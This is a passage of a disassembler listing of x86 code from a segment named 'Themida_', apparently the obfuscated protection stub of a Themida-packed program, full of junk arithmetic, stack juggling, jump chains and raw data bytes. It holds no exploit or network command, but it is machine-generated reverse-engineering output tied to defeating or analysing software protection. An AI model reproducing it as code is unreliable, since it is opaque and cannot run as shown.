		dd 0E9817D62h, 2A9D5BB2h, 8149D9F7h, 151ABFE9h,	47F18132h
		dd 151C5E5h, 0F00159CEh, 6578E9h
		db 0
; ---------------------------------------------------------------------------


loc_62C771:				; CODE XREF: Themida_:0062910Bj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_62DB67
; ---------------------------------------------------------------------------
aJvsI		db 'JVi',0
		align 4


loc_62C788:				; CODE XREF: Themida_:0063347Bj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_628D52
; ---------------------------------------------------------------------------


loc_62C796:				; CODE XREF: Themida_:00632ABDj
		push	ebp
		push	edx
		mov	edx, 6DFC2A6Ah
		sub	[esp+4], edx
		pop	edx
		pop	ecx
		add	ecx, 6DFC2A6Ah
		push	ecx
		pop	edi
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_62D366
; ---------------------------------------------------------------------------


loc_62C7BA:				; CODE XREF: Themida_:00628D36j
		xor	[esp], eax
		push	eax
		not	dword ptr [esp]
		jmp	loc_6292B9
; ---------------------------------------------------------------------------


loc_62C7C6:				; CODE XREF: Themida_:00633D51j
		not	ecx
		and	ecx, 162554FBh
		sub	ecx, 0F27DE7Bh
		add	edi, ecx
		pop	ecx
		sub	edi, 6DF16FBEh
		add	edi, ecx
		add	edi, 6DF16FBEh
		push	esi
		push	2D82258h
		pop	esi
		sub	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_629F38
; ---------------------------------------------------------------------------
		db 43h
		dd 93AFEB81h, 0DA017F04h, 0FFCE68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62C805:				; CODE XREF: Themida_:00630FDCj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_629BE9
; ---------------------------------------------------------------------------


loc_62C819:				; CODE XREF: Themida_:0062E89Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_6337CA
; ---------------------------------------------------------------------------
		db 5, 96h, 0FDh
		dd 0C729837Bh, 8124048Bh, 4C4h,	243C8700h, 240C895Ch, 4EC81h
		dd 0EBE90000h, 81000001h, 0C6469C5h, 81FD017Dh,	0C6469EDh
		dd 0BBC5817Dh, 0E9438862h, 18ADh, 2474FF57h, 0B66E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62C886:				; CODE XREF: Themida_:00632E78j
		add	dword ptr [esp+4], 226D098Dh
		sub	dword ptr [esp+4], 4FC032EEh
		jmp	loc_62F108
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5DC78100h, 0E948EF70h,	0FFFFF679h
; ---------------------------------------------------------------------------


loc_62C8AC:				; CODE XREF: Themida_:00633591j
		mov	ah, 0E6h
		jmp	loc_62C2A0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5966EB00h, 68AFEB80h, 2DBFh,	68241C89h, 2864h, 0B9240C89h
		dd 239A5BF0h, 65A448BBh, 57EB81DCh, 1661543h, 0D4EBE9CBh
		dd 1C8BFFFFh, 0E3895324h, 1ADE9h, 0EB815A00h, 52970E3Fh
		dd 31EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_62C8F9:				; CODE XREF: Themida_:00631923j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3D9Ah
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		jmp	loc_6322E0
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 47086855h, 0D7E97310h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62C92F:				; CODE XREF: Themida_:00632F07j
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_62F97D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 624AC781h, 0EF8140ADh, 3146023Dh, 0A76ECBBh,	0D2BF5764h
		dd 0E931D912h, 37D0h, 0E904C783h, 0F70h, 8104C483h, 4C2h
		dd 4EC8300h, 0BB241C89h, 45C64CFAh, 0E9DBF743h,	0FFFFD6FDh
		dd 8704E883h, 895C2404h, 32E92414h, 5FFFFFC1h, 4EC8353h
		dd 18F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_62C995:				; CODE XREF: Themida_:0062B92Aj
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 23403455h
		push	eax
		mov	eax, 17FC0D56h
		inc	eax
		xor	eax, 7A19371Fh
		and	eax, 653656AAh
		sub	eax, 66C4E4E6h
		xor	edi, eax
		pop	eax
		jmp	loc_62CB51
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 0C95BE95Fh, 3B25FFFFh, 0C1223F31h, 8F2D04E0h, 51A4C09Bh
		dd 0D61811B9h, 59C80952h, 2B05932Dh, 4C812509h,	0D0F75F17h
		dd 0E908E8C1h, 0F4Dh, 582434FFh, 5604C483h, 0C681E689h
		dd 4, 8704C683h, 248B2434h, 0E315E924h,	8304FFFFh, 76B753h
		dd 0D8285BF8h, 80BDB551h, 0C58087E5h, 59E828F1h, 6866832Ch
		dd 896643F6h, 56E9241Ch, 5C000070h, 8B24048Fh, 0CFF2424h
		dd 70E99C24h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62CA47:				; CODE XREF: Themida_:00633F92j
		neg	bl
		jmp	loc_62B1F3
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 52D78824h, 0D588FA88h, 2C885B5Ah, 240C8B87h,	4C481h
		dd 52E90000h, 0C0FFFFC0h, 0D4E907EAh, 2900006Bh, 18E95AD6h
		dd 80FFFFE6h, 0D00022C2h, 3802E9h, 5AF02800h, 2CE96D04h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62CA8F:				; CODE XREF: Themida_:0062DC5Aj
		xor	ebp, 5B92641h
		jmp	loc_629AE0
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFC314E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62CAA5:				; CODE XREF: Themida_:0062922Dj
		pop	eax
		mov	eax, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_62D5F0
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0FCh
		dd 817CC26Ch, 970E3FC3h, 0C3835D52h, 331EE902h,	54500000h
		dd 40558h, 0B9510000h, 4, 0C01B632Dh, 5C82921h,	21C01B63h
		dd 24048759h, 0FFD50CE9h, 240C87FFh, 66BD055Ch,	0D8011916h
		dd 66BDBF57h, 0F8291916h, 0E9243C8Bh, 16Dh, 435D69BDh
		dd 70B0E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62CB16:				; CODE XREF: Themida_:00632793j
		xor	ebp, 2FD21611h
		jmp	loc_62FFD8
; ---------------------------------------------------------------------------
		dd offset sub_41E281
		db 58h,	71h, 50h
		dd 17FFFCB8h, 58C22900h, 70E9D101h, 0B3000034h,	66D900E8h
		dd 59C8285Bh, 0FFE775E9h, 24248BFFh, 9C2404FEh,	6BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_62CB51:				; CODE XREF: Themida_:0062C9BDj
		mov	edx, edi
		jmp	loc_62FAA4
; ---------------------------------------------------------------------------
		dd 0EB81CB87h, 2E0C2306h, 1C8BD901h, 4EC8324h, 89241C89h
		dd 4C381E3h, 81000000h,	4C3h, 2E67E900h, 68550000h, 49E14429h
		dd 7B18E95Dh, 1590000h,	0BD555EF0h, 15D20EF9h, 3EC2C281h
		dd 0EA0175E9h, 3EC2EA81h, 0E95D75E9h, 5853h, 472CD828h
		dd 61B75352h, 0E959B050h, 0FFFFDBFDh, 24048B66h, 8904EC83h
		dd 5A542414h, 0E904EC83h, 0FFFFDAD0h
; ---------------------------------------------------------------------------


loc_62CBCC:				; CODE XREF: Themida_:00634370j
		sub	edi, 9C40E0h
		sub	esi, edi
		pop	edi
		sub	esi, ecx
		add	esi, 351E09h
		pop	ecx
		jmp	loc_62F60B
; ---------------------------------------------------------------------------
aItsk		db 'K&',0
		align 2
		dw 248Bh
		dd 24048F24h, 6624248Bh, 9C240CD3h, 0FFBEC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62CBFD:				; CODE XREF: Themida_:00634D30j
		add	ebp, 0FFCA9936h
		mov	ebx, ebp
		pop	ebp
		sub	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		jmp	loc_62B3C6
; ---------------------------------------------------------------------------
		dd offset loc_432D68
		dd 3D9FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62CC2E:				; CODE XREF: Themida_:0062D5F9j
		pop	esp
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_62D82D
; ---------------------------------------------------------------------------
		dw 8FB1h
		dd 8393C980h, 896602ECh, 0B3532414h, 18F38098h,	0FFC815E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62CC51:				; CODE XREF: Themida_:0062DA9Cj
		sub	esi, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	5F51h
		mov	[esp], esi
		jmp	loc_634731
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 5F0CE9h, 4C48300h
		dd 724468h, 243C8900h, 6133F1BFh, 47112D6Ch, 8BE95569h
		dd 81000039h, 4C7h, 4EF8300h, 2474FF57h, 48F5F04h, 0F0E95C24h
		dd 0BA00001Ch, 1B534537h, 71E9F231h, 0FF000074h, 835D2434h
		dd 535804C4h, 70717BBBh, 0E7E9434Fh, 66000044h,	0EAE99C51h
		dd 31FFFFBDh, 4332404h,	0F665C24h, 9C2404ABh, 691DE9h
		dd 505B6600h, 405E089h,	0E9000000h, 2B2Bh, 24048B66h, 79D468h
		dd 24148900h, 0C2815A54h, 4, 0EF4DE953h, 7205FFFFh, 56E5451h
		dd 729B5FD5h, 7602882Dh, 5C82932h, 32760288h, 9B5FD52Dh
		dd 1AC9E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62CD2E:				; CODE XREF: Themida_:006342E6j
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 0FBC4096h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	esi
		mov	esi, 5BCE0738h
		not	esi
		add	esi, 1
		push	ebx
		mov	ebx, 3D906E20h
		sub	ebx, 5F036EB5h
		or	ebx, 2DDD4A4Eh
		shr	ebx, 3
		push	esi
		mov	esi, 33F970D4h
		sub	esi, 7739666Ch
		or	esi, 2D9E35AAh
		shl	esi, 1
		jmp	loc_62E63F
; ---------------------------------------------------------------------------
		db 0B8h, 65h, 7Ah
		dd 0E8C17CABh, 95354008h, 5106FF5Bh, 0CE1E4BB9h, 0BA52411Eh
		dd 58C05E17h, 59ADCA81h, 814A1690h, 0FFE7B0EAh,	0E9D10906h
		dd 13A7h, 25CB68h, 24148900h, 0FFD6FAE9h, 0BA52ADFFh, 15BF2A3Fh
		dd 8107EAC1h, 4A4DA5F2h, 0FFD0296Ch, 148B2434h,	4C48124h
		dd 51000000h, 0C181E189h, 4, 4369E9h, 2D746800h, 24890000h
		dd 24048324h, 56515E04h, 107312BEh, 0E9F18902h,	2862h
		dd 4C181h, 0BB530000h, 4, 0F48EE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62CE1A:				; CODE XREF: Themida_:00634F24j
		or	edi, ebx
		jmp	loc_634489
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd offset byte_6732E9
		dd 4C226800h, 0EC830000h, 20E1E904h, 21580000h,	2434FFF8h
		dd 81243C8Bh, 4C4h, 4C48300h, 1029E9h, 8BE63000h, 0C4812404h
		dd 4, 8058E630h, 0EED0FFEEh, 2C47C680h,	0FFAE961h, 3C870000h
		dd 5DDDE924h, 0E9530000h, 4FA8h, 4C1815Ch, 55000000h, 2BDh
		dd 656BE900h, 0E94A0000h, 0FFFFE456h, 0BE565351h, 0B5E07ECh
		dd 0FB2CABBBh, 5EF3012Ah, 5C78A1B9h, 0FAE98191h, 2962C520h
		dd 0FAC181D9h, 5B62C520h, 0C108E1C1h, 0EC8102E9h, 4, 0B8240489h
		dd 2C6587Ch, 7F42E9h, 6DC90500h, 0EF8190A4h, 5C4047F9h
		dd 0C781C729h, 5C4047F9h, 5FFB0158h, 0FFD359E9h, 3531BAFFh
		dd 0EA8133CEh, 7AA73010h, 1453C281h, 0D5016485h, 81CD015Ah
		dd 0AC1974EDh, 2C87591Dh, 14A9E924h, 0C3010000h, 0FFEE92E9h
		dd 0F7D787FFh, 595AE9D2h, 0C5310000h, 8124048Bh, 4C4h
		dd 5DEE8900h, 0EED1D6F7h, 52D3F681h, 0BF5772EDh, 0
		dd 13E9F729h, 68000026h, 1, 8BC82159h, 5451240Ch, 81240C8Bh
		dd 4C4h, 394C6800h, 34890000h, 4BE24h, 0F1010000h, 8124348Bh
		dd 4C4h, 4BF5700h, 1000000h, 0C875FF9h,	24248B24h, 840FC00Bh
		dd 0FFFFE6EBh, 15C468h,	2BF5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62CF92:				; CODE XREF: Themida_:0062EF61j
		mov	[esp], edx
		push	ecx
		mov	cl, 0Ch
		mov	dh, 2Dh
		jmp	loc_62F4C3
; ---------------------------------------------------------------------------
aN1SL		db '1{L',0
		dw 5D00h
		dd 1C8BDA01h, 4C48324h,	31241433h, 14332414h, 24248B24h
		dd 1FA768h, 24148900h, 4DC668h,	24048900h, 6824148Bh, 6023h
		dd 54241489h, 4BB535Ah,	1000000h, 5D16E9DAh, 0BB530000h
		dd 5D747C51h, 761FE381h, 0EB816155h, 3CEF3C28h,	6DABBE56h
		dd 0C6813AF7h, 190A275Dh, 984EC681h, 6E9B010h, 8B00006Ah
		dd 0C4832414h, 7E3BE904h, 0BFBA0000h, 0E9322269h, 3233h
; ---------------------------------------------------------------------------


loc_62D024:				; CODE XREF: Themida_:0062B74Ej
		mov	ebx, [esp]
		jmp	loc_63119D
; ---------------------------------------------------------------------------


loc_62D02C:				; CODE XREF: Themida_:0062B512j
		not	ah
		xor	ah, 4
		xor	ah, 0E3h
		add	ch, ah
		pop	eax
		inc	ch
		and	ch, 9Ah
		add	ch, 49h
		add	al, ch
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_62AC52
; ---------------------------------------------------------------------------
		dd 6C6F68h, 24048900h, 0E904EC83h, 7393h, 5F2434FFh, 4C481h
		dd 5C680000h, 89000045h, 0E189240Ch, 4C181h, 0B8500000h
		dd 4, 91E9C101h, 5700001Dh, 0F83E3FBFh,	5FF82919h, 0CC249D2Dh
		dd 0BD555944h, 4EE5BA8h, 5048E9h, 4EF8300h, 31243C33h
		dd 7E9243Ch, 52000019h,	969F1BAh, 3F10E95Dh, 1C870000h
		dd 0C3815C24h, 4, 2BA52h, 0C3810000h, 688C1370h, 0B8E9D301h
		dd 52FFFFBEh, 164F5CBAh, 8E2C15Dh, 0ECA814Ah, 817E1008h
		dd 0E14632F2h, 0F693E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62D0EE:				; CODE XREF: Themida_:0062A601j
		pop	ebx
		jmp	loc_63051D
; ---------------------------------------------------------------------------


loc_62D0F4:				; CODE XREF: Themida_:0062DC13j
		xor	ecx, 1EAC4195h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ecx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		push	ebx
		mov	ebx, 47314750h
		dec	ebx
		xor	ebx, 35062E26h
		jmp	loc_634F1A
; ---------------------------------------------------------------------------
		db 81h
		dd 5690EC7h, 0B8505D38h, 2, 34FFC701h, 0C4835824h, 243C3304h
		dd 33243C31h, 248B243Ch, 24040824h, 4D4AE99Ch, 0C3810000h
		dd 4, 4C381h, 41E90000h, 5300006Dh, 7FB3E9h, 527AB500h
		dd 0DAF682B2h, 0FFF8FAE9h, 4E983FFh, 5C240C87h,	0BB241C89h
		dd 731228CBh, 0FFB9BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62D185:				; CODE XREF: Themida_:0062F4C6j
		push	eax
		mov	ah, dh
		mov	ch, ah
		pop	eax
		pop	edx
		and	bl, ch
		pop	ecx
		xor	bl, 3Fh
		sub	al, bl
		jmp	loc_62954D
; ---------------------------------------------------------------------------
		db 89h,	0C7h, 89h
		dd 31585FFAh, 64055AD3h, 2974A43Ch, 3C642DD8h, 34FF74A4h
		dd 89535B24h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 2545E9h
		db 0
; ---------------------------------------------------------------------------


loc_62D1C9:				; CODE XREF: Themida_:00632A4Ej
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_62E2FD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 87000000h, 0BEE92414h, 68000079h, 2E14h, 0E9242C89h
		dd 2E0h, 549D6850h, 2C890000h, 2E95724h, 0E9000042h, 0FFFFB8ADh
		dd 4C481h, 0D2F70000h, 3E0E956h, 685A0000h, 14C8h, 0E9241C89h
		dd 66C3h, 2C781h, 0FF570000h, 0E9042474h, 1354h, 0E924248Bh
		dd 4517h, 42474FFh, 24048F5Ah, 3B24248Bh, 66E99CC8h, 5EFFFFB8h
		dd 184CE9h
		db 0
; ---------------------------------------------------------------------------


loc_62D25D:				; CODE XREF: Themida_:006330EAj
		add	bl, dl
		jmp	loc_633F8C
; ---------------------------------------------------------------------------
		dd 3302EB83h, 1C31241Ch, 0F3ABE924h, 1489FFFFh,	55226824h
		dd 148B6975h, 4C48124h,	81000000h, 0AD587FEAh, 0B9514A27h
		dd 6DC93E4Dh, 8102E1C1h, 0C34C0DC9h, 0D1E98106h, 297858A9h
		dd 7AE959CAh, 5EFFFFF8h, 39685155h, 596CA839h, 0C6CBC181h
		dd 0CD899357h, 8BE80159h, 0C481242Ch, 4, 0C9C68h, 24048900h
		dd 42474FFh, 2B32E958h,	15A0000h, 0C38359CBh, 0FDD4E904h
		dd 8956FFFFh, 57D8E9E6h, 50660000h, 0B7CBE99Ch,	0E8D1FFFFh
		dd 9650E835h, 58C70901h, 7C43BD55h, 0EF016D1Eh,	1CF7815Dh
		dd 16CCC62h, 0D5685FFDh, 89000003h, 74FF242Ch, 0E95D0424h
		dd 4CA6h
; ---------------------------------------------------------------------------


loc_62D320:				; CODE XREF: Themida_:0062F82Ej
		mov	eax, 4D647E2h
		sub	eax, 4D647DEh
		add	edx, eax
		jmp	loc_62F24F
; ---------------------------------------------------------------------------


loc_62D331:				; CODE XREF: Themida_:0062921Cj
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 2D5A1325h
		add	ecx, 11F22816h
		mov	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 713951A2h
		and	edx, esi
		pop	esi
		jmp	loc_629B17
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 20903206h, 835BDD01h, 895002C5h, 0ED0E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62D366:				; CODE XREF: Themida_:0062C7B5j
		push	edi
		pop	eax
		pop	edi
		shl	eax, cl
		push	ebx
		jmp	loc_62DA2F
; ---------------------------------------------------------------------------
		db 86h,	0F0h, 86h
		dd 4EC83C3h, 0FFDD96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62D37D:				; CODE XREF: Themida_:00630D44j
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 16E53078h
		add	ecx, eax
		jmp	loc_631F0F
; ---------------------------------------------------------------------------
		dw 0CF29h
		dd 3C8BF989h, 4C48124h,	0C1000000h, 0E1D105E1h,	8904EC83h
		dd 0BABF243Ch, 810C4A34h, 9BB500EFh, 0BEB9E991h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62D3B6:				; CODE XREF: Themida_:0062E4E7j
		push	ebp
		push	ebx
		push	ecx
		mov	ecx, 234C3705h
		jmp	loc_629990
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6E92404h, 400001Dh, 608E961h, 0BF570000h, 4, 4247C01h
		dd 0CC31E95Fh, 8B54FFFFh, 0E9572434h, 0C9Bh, 24048F5Fh
		dd 2B83E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62D3F6:				; CODE XREF: Themida_:0062F903j
		pop	esi
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_62B86C
; ---------------------------------------------------------------------------


loc_62D402:				; CODE XREF: Themida_:0062FA01j
		or	ecx, 4D164709h
		xor	ecx, 0ED5EEC57h
		mov	edx, ecx
		pop	ecx
		add	edi, 546203B6h
		add	edi, 681C22BBh
		jmp	loc_62C089
; ---------------------------------------------------------------------------


loc_62D422:				; CODE XREF: Themida_:0062E3F3j
		pop	ecx
		push	17DFh
		mov	[esp], ecx
		push	esi
		mov	esi, 6E547DFCh
		push	ecx
		mov	ecx, 535C7B1Ch
		sub	esi, ecx
		pop	ecx
		not	esi
		sub	esi, 53DF3685h
		and	esi, 78C4287Ch
		inc	esi
		xor	esi, 6BC632A4h
		push	edi
		mov	edi, esi
		mov	ecx, edi
		jmp	loc_62C126
; ---------------------------------------------------------------------------
		db 55h,	66h, 0BDh
		dd 536607DFh, 38ADBB66h, 66DD2166h, 6645665Bh, 0A0EAED81h
		dd 2B172D66h, 0E9E82966h, 7DBFh
; ---------------------------------------------------------------------------


loc_62D47C:				; CODE XREF: Themida_:00629EA4j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_634E2A
; ---------------------------------------------------------------------------


loc_62D489:				; CODE XREF: Themida_:0062C496j
		push	eax
		mov	eax, esp
		jmp	loc_63450F
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 15h
		dd 0E90CF180h, 0FFFFCE2Fh, 6C31D6BDh, 81D5F765h, 0CC5438E5h
		dd 49E58100h, 814B1035h, 0AF2232F5h, 5DEB3157h,	182EE9h
		dd 24248900h, 4240481h,	5A000000h, 4B951h, 0CA010000h
		dd 4C28159h, 0E9000000h, 5502h,	9C73E4BDh, 4EC8353h, 0BD242C89h
		dd 6800460Dh, 4D05E5C1h, 4F31F581h, 5B55AF85h, 0D5C2E95Dh
		dd 0C828FFFFh, 592434FFh, 6604C483h, 23A06853h,	4890000h
		dd 0E920B024h, 0FFFFEA30h, 57EEED81h, 0EF017AE2h, 0FFCF67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62D525:				; CODE XREF: Themida_:0062C282j
		add	edi, ecx
		jmp	loc_63108E
; ---------------------------------------------------------------------------


loc_62D52C:				; CODE XREF: Themida_:00628F09j
		push	ecx
		mov	ecx, esp
		jmp	loc_634FF4
; ---------------------------------------------------------------------------
		dd 2C2815Eh, 33000000h,	14312414h, 0C9BEE924h, 34FFFFFFh
		dd 0EC835824h, 242C8904h, 0EC81E589h, 4, 56241489h, 9052B368h
		dd 0B9515E1Fh, 2D99171Eh, 4239E181h, 0E1811524h, 7F402042h
		dd 1F19BB53h, 0D93150F2h, 49D1F75Bh, 9364C181h,	0CE31D2D2h
		dd 1CBE9h, 48B6600h, 1D246824h,	2C890000h, 4EC8324h, 0E9242489h
		dd 0E97h, 56E9D328h, 89FFFFE5h,	0E589242Ch, 4BB53h, 0DD010000h
		dd 83241C8Bh, 0BEE904C4h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62D5C3:				; CODE XREF: Themida_:0062E647j
		sub	esi, 0DEF3D4DCh
		sub	ebx, esi
		pop	esi
		xor	ebx, 6E15BF95h
		add	esi, 573107AEh
		sub	esi, ebx
		push	eax
		push	3EC82F8Dh
		pop	eax
		not	eax
		jmp	loc_62C5F3
; ---------------------------------------------------------------------------


loc_62D5E8:				; CODE XREF: Themida_:0062E79Bj
		sub	eax, edx
		pop	edx
		jmp	loc_62B74D
; ---------------------------------------------------------------------------


loc_62D5F0:				; CODE XREF: Themida_:0062CAB4j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_62CC2E
; ---------------------------------------------------------------------------
		dw 22BEh
		dd 29006901h, 0C14A5EF2h, 0C28107E2h, 4F061384h, 835AD601h
		dd 48904ECh, 4AD2B824h,	2AE93FB5h, 81000063h, 0C6133F1h
		dd 6C426801h, 1C890000h, 0C012E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62D636:				; CODE XREF: Themida_:0062B649j
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_62E4E4
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2404FF5Ch, 493EE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62D64E:				; CODE XREF: Themida_:00634484j
		xor	ebx, 5F5051Fh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2000h
		and	eax, ebx
		jmp	loc_628AF4
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0A2682414h, 0E900004Ch, 49A3h, 8704C783h
		dd 0E95C243Ch, 0FFFFCA38h
; ---------------------------------------------------------------------------


loc_62D68C:				; CODE XREF: Themida_:00632AA3j
		push	ecx
		mov	ecx, 57105982h
		or	ecx, 5BC13A43h
		xor	ecx, 3D6747FAh
		jmp	loc_62AD7B
; ---------------------------------------------------------------------------
		db 56h
		dd 0C368A0BEh, 8BF58958h, 3A682434h, 89000006h,	0D9682404h
		dd 8900005Fh, 4832424h,	5580424h, 4, 5004C083h,	42474FFh
		dd 24048F58h, 0FFEB015Ch, 815D2434h, 4C4h, 0B60F6600h
		dd 2E685200h, 8900005Dh, 4832424h, 148B0424h, 4C48324h
		dd 4B85056h, 68000000h,	37F4h, 81240489h, 4D45242Ch, 815E6C5Bh
		dd 5B4D45C6h, 74B2E96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62D71A:				; CODE XREF: Themida_:00634D99j
		pop	ecx
		jmp	loc_632383
; ---------------------------------------------------------------------------
		dd 4B8h, 1090E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62D72A:				; CODE XREF: Themida_:006344D9j
		and	ecx, 75D96399h
		push	ebp
		mov	ebp, 700142FCh
		sub	ecx, ebp
		pop	ebp
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_62A7D5
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0C53B16EEh, 0E9F28936h, 0FFFFBC35h, 0E94E4E59h, 2F96h
; ---------------------------------------------------------------------------


loc_62D760:				; CODE XREF: Themida_:006321A7j
		or	eax, eax
		jnz	loc_62C4F1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 524079EEh
		push	ecx
		mov	ecx, 524079EFh
		push	ecx
		sub	dword ptr [esp], 534223Ch
		pop	edx
		add	edx, 534223Ch
		pop	ecx
		push	ecx
		mov	ecx, 79C22319h
		push	ebp
		mov	ebp, 229973EEh
		inc	ebp
		jmp	loc_62B043
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0BD34E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62D7A6:				; CODE XREF: Themida_:0063016Bj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_62A8D2
; ---------------------------------------------------------------------------


loc_62D7B4:				; CODE XREF: Themida_:0062A289j
		mov	[esp], ecx
		mov	ecx, 5F6275DBh
		jmp	loc_62E3F1
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 6624248Bh, 5124048Bh, 0E956E189h, 0FFFFF8D7h, 8B2434FFh
		dd 0C4812404h, 4, 35E4E9h, 4EC8100h, 89000000h,	0ABB42404h
		dd 0E9FFC480h, 0FFFFCE8Eh, 15B105B4h, 6658E128h, 0E9DFB353h
		dd 0FFFFDC1Fh
; ---------------------------------------------------------------------------


loc_62D808:				; CODE XREF: Themida_:00631679j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		jmp	loc_63447F
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 327EE9h
		db 0
; ---------------------------------------------------------------------------


loc_62D82D:				; CODE XREF: Themida_:0062CC35j
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB289h, 0C181F929h, 46AD0269h, 0FFF14AE9h, 0C68159FFh
		dd 0CF4364h, 0C9E9CE01h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62D84F:				; CODE XREF: Themida_:0062B146j
		sub	edx, 19AE782h
		jmp	loc_632A1A
; ---------------------------------------------------------------------------
aZiXsY		db ')ZX~y',0
		dd 24248B00h, 4706E9h, 63E95D00h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62D873:				; CODE XREF: Themida_:00630F29j
		mov	ebx, 44415D34h
		shl	ebx, 5
		push	ebp
		mov	ebp, 6D103ACBh
		jmp	loc_628FD9
; ---------------------------------------------------------------------------
		dw 0CDBAh
		dd 0F77C1849h, 71B3E9D2h, 0C6890000h, 7A892D58h, 0F0014BC5h
		dd 3A70E9h, 0E9505300h,	3297h, 6003EB81h, 0C3812304h, 2CFE1D83h
